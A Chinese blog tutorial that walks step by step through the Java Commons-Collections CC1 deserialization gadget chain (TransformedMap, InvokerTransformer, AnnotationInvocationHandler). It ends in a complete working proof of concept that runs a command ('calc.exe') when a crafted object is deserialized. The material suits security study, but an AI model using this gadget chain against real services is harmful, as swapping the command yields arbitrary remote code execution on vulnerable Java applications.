当前位置: 首页 > news >正文

【Java安全】CC1链

CC1链

相关资源链接:

sun包要下的源码:hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载8u65的版本:https://blog.lupf.cn/

简单demo

P神给出的最简单的CC1 payload:

package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class cc1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("test", "xxxx");}
}

在这里插入图片描述

这个过程涉及的几个相关接口和类

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素的时候可以执行一个回调

下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 而这个回调指的是⼀个实现了Transformer接⼝的类

Transformer类里面就只有一个transform方法

public interface Transformer {public Object transform(Object input);}

通过一个简单的代码理解 TransformedMap

package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class transformedMap {public static void main(String[] args) {//原始map,未被修饰Map normalMap = new HashMap();normalMap.put("name", "xpw");normalMap.put("age", 20);System.out.println("未使用TransformedMap的结果:");System.out.println(normalMap); //{name=xpw, age=20}//定义一个keyTransformer,将key转为大写Transformer keyTransformer = new Transformer() {public Object transform(Object input) {return input.toString().toUpperCase();}};//定义一个valueTransformer,为每一个value添加一个后缀Transformer valueTransformer = new Transformer() {public Object transform(Object input) {return input.toString() + "_suffix";}};Map map = new HashMap();map.put("name", "xpw");Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
//        transformedMap.put("name", "xpw");transformedMap.put("age", 20);System.out.println("\n使用TransformedMap之后的结果:");System.out.println(transformedMap); //{name=xpw, AGE=20_suffix}}
}

只有被修饰的Map在添加新元素的时候会对其添加的新元素进行一个回调

在这里插入图片描述

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回

public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}
public Object transform(Object input) {return iConstant;}

也就是说无论你传入了什么,返回的都是iConstant,也就是实例化时传入的对象

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

其实就是通过反射机制调用对象的方法执行

ChainedTransformer

ChainedTransformer也是实现了Transformer接口,接受的参数是一个Transformer[] 数组,它的transform()方法就是对Transformer[] 数组里面的每一个类调用他们自己的transform()方法,前一个类的输出作为后一个类的输入

public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

简单demo理解这个类的作用

package CC1;import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;public class chainedTransformer {public static void main(String[] args) {Transformer[] transformers;transformers = new Transformer[]{new InvokerTransformer("toUpperCase",null,null),new InvokerTransformer("getClass", null, null),new InvokerTransformer("getName", null, null)};Transformer chainedTransformer = new ChainedTransformer(transformers);Object result = chainedTransformer.transform("xpw");System.out.println(result);//java.lang.String}
}

首先调用调用 toUpperCase对输入的字符串进行转大写,然后调用getClass()获得String.class,在调用getName()获得java.lang.String

分析demo代码

对这几个Transformer进行了解之后,再看前面demo的代码就比较好理解了

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);

首先创建了一个ChainedTransformer,里面包含了两个Transformer,第一个是ConstantTransformer, 返回当前环境的Runtime对象,第二个是InvokerTransformer, 调用Runtime对象的exec方法,执行命令

这个ChainedTransformer是一系列的回调,还需要使用这个对一个Map对象进行包装,包装后的Map对象只要在添加新的元素的时候就会自动触发回调执行(TransformedMap的作用 )

也就是这一段

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");

如何进行序列化?

触发TransformedMap的关键是向Map里面加入一个新的元素,手动执行使用put()添加一个自然是可以,但是在反序列化的时候需要找到一个类,在它的readObject方法里面存在类似的写入操作,才能触发那一系列的回调操作

那么要如何找到这样的一个类呢?

先来看看前面是通过put()添加一个新的元素从而触发后面的一系列回调

那为什么通过put添加一个新元素就会执行它的回调呢?

可以进入源码里面查看一下:
TransformedMap.decorate返回的对象是TransformedMap类型的,然后调用的put方法也就是这个类里面的put方法

在这里插入图片描述

对key调用transformKey,对value调用transformValue

而两个方法在内部都会检查前面是否有传入keyTransformer, valueTransformer, 若有则调用他们的transform方法

在这里插入图片描述

在这里插入图片描述

所以前面demo代码可以弹计算器的关键应该就不是put(), 而是valueTransformer()

那再找找还有哪里可以触发valueTransformer()

可以找到checkSetValue()这个方法

在这里插入图片描述

再找找有哪里调用了**checkSetValue()**这个方法

AbstractInputCheckedMapDecorator的内部类MapEntry里面可以找到

在这里插入图片描述

可以简单的理解一下这个代码,entry是指一个键值对,那么这个setValue就是对这个entry进行一个赋值的操作

仔细的跟一下,这个setValue其实就是Map接口里面方法的重写

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

所以如果存在一个对Map的遍历, 在遍历里面写入值 setValue()也就有了触发后面那一系列回调的条件了

写个简单demo测试一下

package CC1;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class demo {public static void main(String[] args) {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Map map = new HashMap();map.put("key", "value");Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);for (Map.Entry entry:decorate.entrySet()){entry.setValue(runtime);}}
}

在这里插入图片描述

可以弹出计算器,说明对Map进行遍历操作的时候,如果调用了setValue()是可以调用到那一系列的回调的

那么就可以依照这个进行查找有没有对应的类的readObject方法里面有进行过类似的操作

直接对setValue这个方法进行 “查找用法” 可以找到这样一个类 AnnotationInvocationHandler(sun.reflect.annotation.AnnotationInvocationHandler)

AnnotationInvocationHandler

它的readObject方法正好存在对一个Map进行遍历并设置值,当调用了setValue方法设置值时就会触发TransformedMap里注册的 Transform ,进而执行我们构造的代码

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}

poc构造

因为 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK内部的类,不能直接使
用new来实例化,所以利用反射来获取它的构造方法, 并将其设置成外部可见的,再调用就可以实例化了。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);

这里的实例化传了两个参数,第二个自然就是构造的恶意Map, 而第一个是Retention.class

看到构造方法里面,第一个参数需要是继承了 Annotation 的类,Annotation是指注解类,也就是这个参数需要传入一个注解类,选择这个Retention也有原因

在这里插入图片描述

所以当下完整的代码为

package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class easyCC1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("name", "xpw");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);serialize(obj);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

但是运行就会发现报错,原因在于Runtime的对象是无法进行序列化的,因为Runtime类没有实现 java.io.Serializable 接口的

所以需要通过反射来获取Runtime 对象

现在代码就变成了这样

package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class easyCC1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("name", "xpw");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);serialize(obj);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

确实可以序列化了,但是反序列化的时候会发现无法弹出计算器,说明在反序列化的时候并没有执行到setValue()这里

看到里面的代码,在执行setValue之前还有两个if判断,打个断点调试一下,查看是否是没有满足这几个判断的条件

在这里插入图片描述

可以发现第一个if的条件我们就不满足

在这里插入图片描述

要如何保证memberType不为空呢?

参数name是通过memberValue.getKey()得到的,这个memberValue就是要遍历的键值对,所以这个name就会被赋值为“name”,因为我们传入的key值为"name"
memberType是由 memberTypes.get(name)得到的,而这个memberTypes在调试的界面显示只有一个 value这个值,因为找不到name这个值所以导致memberType变为了空,也就是说想让memberType不为空只需要让我们的key值name变为value就行

那么这里memberTypes为什么里面只有一个value这个键值呢?
因为我们前面传入的注解是Retention

开始这里annotationType = AnnotationType.getInstance(type);返回的就是Retention注解的结构描述对象
然后继续Map<String, Class<?>> memberTypes = annotationType.memberTypes();
调用memberTypes()方法,返回的就是 Retention类的“注解字段名 → 字段类型”的Map

而Retention里面只有一个方法 value在这里插入图片描述

所以这个memberTypes就是如同调试里面的这个值了:value:java.lang.annotation.RetentionPolicy

这也是为什么前面传入的注解类要是Rentention了,这样只需要控制添加的键值对里面有一个键值为 value就可以满足条件了

在这里插入图片描述

最后的poc

现在这个poc就可以正常执行命令,弹出计算器了

package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class easyCC1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("name", "xpw");innerMap.put("value", "xpw");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);serialize(obj);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

当然,其实这里还有一个注意点就是在readObject里面它调用setValue()方法里面参数是已经写死了为AnnotationTypeMismatchExceptionProxy,也就是说我们没法控制setValue的参数,

在这里插入图片描述

那么是怎么调用到Runtime的实例对象的呢?
这个就是ConstantTransformer的作用了,前面也说了,无论传入的对象是什么,返回的对象永远是iConstant

可以看到调试的页面里面,即使传入的对象无法改变,只能是AnnotationTypeMismatchExceptionProxy,但是返回的对象却可以根据需要任意改变(在实例化时传入进去的对象)

在这里插入图片描述

也就是poc里面的这一块

在这里插入图片描述

参考

代码审计社区 Java安全漫谈
https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.788.videopod.sections&vd_source=cf7d01598010e70f1da4b79252417e78
http://www.lryc.cn/news/606262.html

相关文章:

  • <RT1176系列13>LWIP Ping功能入门级应用和基础API解析
  • MySQL 8.0 OCP 1Z0-908 题目解析(41)
  • python制作的软件工具安装包
  • XL2422 无线收发芯片,可用于遥控玩具和智能家居等应用领域
  • 5G-A技术浪潮勾勒通信产业新局,微美全息加快以“5.5G+ AI”新势能深化场景应用
  • 贝锐蒲公英X4 Pro 5G新品路由器:异地组网+8网口+双频WiFi全都有
  • 5G毫米波射频前端设计:从GaN功放到混合信号集成方案
  • arm架构系统打包qt程序--麒麟操作系统为例
  • [GESP202506 五级] 奖品兑换
  • Python列表完全指南:从基础到实战(2025版)
  • 八股训练--Spring
  • C#反射的概念与实战
  • 网络编程-IP
  • TCP窗口缩放配置在云服务器高延迟网络中的参数调整测试
  • Android端RTMP低延迟播放器在工业与智能场景下的架构与落地
  • 抓大鹅小游戏微信抖音流量主小程序开源
  • TGD第九篇:三维应用——视频边缘检测
  • 【AI论文】MUR:面向大型语言模型的动量不确定性引导推理
  • cuda编程笔记(11)--学习cuBLAS的简单使用
  • Coze Studio概览(四)--Prompt 管理功能详细分析
  • 分布式锁的基本原理和基于lua脚本的实现(Redisson)
  • 红黑树×协程×内存序:2025 C++后端核心三体问题攻防手册
  • 旅游城市数量最大化 01背包问题
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘plotly’问题
  • Mac安装Navicat教程Navicat Premium for Mac v17.1.9 Mac安装navicat【亲测】
  • IK 字段级别词典的升级之路
  • 【RH134 问答题】第 11 章 管理网络安全
  • ACL 2024 大模型方向优秀论文:洞察NLP前沿​关键突破!
  • 前端框架Vue3(四)——组件通信及其他API
  • SecurityContextHolder 管理安全上下文的核心组件详解